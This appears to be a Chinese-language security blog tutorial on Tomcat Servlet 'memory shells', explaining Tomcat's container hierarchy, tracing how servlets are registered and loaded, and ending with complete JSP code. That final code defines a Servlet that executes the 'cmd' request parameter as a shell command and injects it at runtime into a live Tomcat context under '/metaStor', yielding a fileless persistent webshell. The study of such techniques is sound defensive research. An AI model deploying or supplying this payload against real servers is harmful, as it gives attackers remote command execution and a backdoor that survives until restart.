以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。
Java内存shell有很多种,大致分为:
该文主要研究Servlet内存马的原理和实现。
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,它早期的名称为catalina,后来由Apache、Sun 和其他一些公司及个人共同开发而成,并更名为Tomcat。Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。Tomcat是应用(java)服务器,它只是一个servlet容器,是Apache的扩展,但它是独立运行的。
从宏观上来看,Tomcat其实是Web服务器和Servlet容器的结合体。
Web服务器:通俗来讲就是将某台主机的资源文件映射成URL供给外界访问。(比如访问某台电脑上的图片文件)
Servlet容器:顾名思义就是存放Servlet对象的东西,Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
看一个Tomcat的基本结构:
Webapps 对应的就是 Host 组件,ROOT 和 example 对应的就是 Context 组件(Web应用),每个Context内包含Wrapper,Wrapper 负责管理容器内的 Servlet:
Servlet接口类有五个接口,分别是init(Servlet对象初始化时调用)、getServletConfig(获取web.xml中Servlet对应的init-param属性)、service(每次处理新的请求时调用)、getServletInfo(返回Servlet的配置信息,可自定义实现)、destroy(结束时调用):
我们自己写一个Servlet实现类ServletDemo,主要实现service方法:
其中,对应的web.xml如下配置:
<!--Demo-->
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.java.Memory.ServletDemo</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/dispatcher-servlet.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>
看到这里是不是特别像一个内存shell的存在?(只不过少了个执行参数cmd的实现过程,滑稽.jpg)区别于注入内存shell,这里是在tomcat启动前就在web.xml中配置好了servlet。
从前面的Servlet Demo可以看到,Servlet 的生命周期开始于Web容器的启动时(解析加载web.xml配置的servlet对象),它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。这里也就是说,一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
要注入servlet,就需要在tomcat启动之后动态添加Servlet。Tomcat7之后的版本,在StandardContext中提供了动态添加Servlet类的方法:
根据Tomcat文档可知:
Engine,实现类为 org.apache.catalina.core.StandardEngine
Host,实现类为 org.apache.catalina.core.StandardHost
Context,实现类为 org.apache.catalina.core.StandardContext
Wrapper,实现类为 org.apache.catalina.core.StandardWrapper
值得一提的是,在 org.apache.catalina.core.StandardContext#startInternal()中表明了Tomcat启动加载的顺序:Listener -> Filter -> Servlet
protected synchronized void startInternal() throws LifecycleException {
......
if(ok && !this.listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
if(ok) {
this.checkConstraintsForUncoveredMethods(this.findConstraints());
}
try {
Manager manager = this.getManager();
if(manager instanceof Lifecycle) {
((Lifecycle)manager).start();
}
} catch (Exception var18) {
log.error(sm.getString("standardContext.managerFail"), var18);
ok = false;
}
if(ok && !this.filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
if(ok && !this.loadOnStartup(this.findChildren())) {
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
super.threadStart();
......
Wrapper代表(负责管理)一个Servlet,而Context中包含了一个或多个Warpper(即Servlet)。
如何创建一个Wapper,并配置好Servlet进行动态添加呢?
首先得有一个创建Wapper实例的东西,这里可以从StandardContext.createWapper()获得一个Wapper对象:
前面说到过,Context 负责管理 Wapper ,而 Wapper 又负责管理 Servlet 实例。当获取到StandardContext对象,就可以用 createWapper() 来生成一个 Wapper 对象。
接下来就是配置Servlet,探究配置过程,在 org.apache.catalina.core.StandardWapper#setServletClass() 下断点,Debug运行服务:
追溯到上一级configureStart,开始配置webconfig:
webConfig() 中读取了 web.xml:
然后根据 web.xml 配置 context:
configureContext() 中依次读取了 Filter、Listener、Servlet的配置及其映射,我们直接看 Servlet 部分:
使用context对象的createWrapper()方法创建了Wapper对象,然后设置了启动优先级LoadOnStartUp,以及servlet的Name。
接着配置了Servlet的Class。
最后将创建并配置好的 Wrapper 加入到 Context 的 Child 中。通过循环遍历所有 servlets 完成了 Servlet 从配置到添加的全过程,接下来就需要添加Servlet-Mapper了(对应web.xml中的<servlet-mapping>):
取出web.xml中所有配置的Servlet-Mapping,通过context.addServletMappingDecoded()将url路径和servlet类做映射。跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用):
总结一下,Servlet的生成与动态添加依次进行了以下步骤:
1. 通过 context.createWapper() 创建 Wapper 对象;
2. 设置 Servlet 的 LoadOnStartUp 的值;
3. 设置 Servlet 的 Name;
4. 设置 Servlet 对应的 Class;
5. 将 Servlet 添加到 context 的 children 中;
6. 将 url 路径和 servlet 类做映射。
配置好一个Servlet Demo,并在 org.apache.catalina.coreStandardWapper#loadServlet() 下断点调试:
回溯到 org.apache.catalina.core.StandardContext#startInternal方法中可以看到,是在加载完Listener和Filter之后,才装载Servlet:
前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数:
首先获取Context下所有的Wapper类,并获取到每个Servlet的启动顺序,删选出 >= 0 的项加载到一个存放Wapper的list中。
每个Servlet的启动顺序在web.xml中声明:
<!--Demo-->
<servlet>
<servlet-name>servletDemo</servlet-name>
<servlet-class>com.java.Memory.ServletDemo</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>WEB-INF/dispatcher-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>servletDemo</servlet-name>
<url-pattern>/servlet</url-pattern>
</servlet-mapping>
如果没有声明 load-on-startup 属性(默认为-1):
则该Servlet不会被动态添加到容器:
然后对每个wapper进行装载:
装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作:
装载:启动服务器时加载Servlet的实例
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成
调用:即每次调用Servlet的service(),从第一次到以后的多次访问,都是只是调用doGet()或doPost()方法(doGet、doPost内部实现,具体参照HttpServlet类service()的重写)
销毁:停止服务器时调用destroy()方法,销毁实例
首先写一个 Servlet 恶意类,实现为 service() 方法:
<%!
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
之后获取到 StandardContext:
<%
// 一个小路径快速获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
根据之前研究的,按照步骤添加Servlet:
<%
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
%>
最后将 URL 路径与 Servlet 恶意类做映射:
<%
// url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/metaStor", name);
%>
保存jsp为 rce_servlet.jsp。
注入前:
注入,访问 rce_servlet.jsp:
注入后: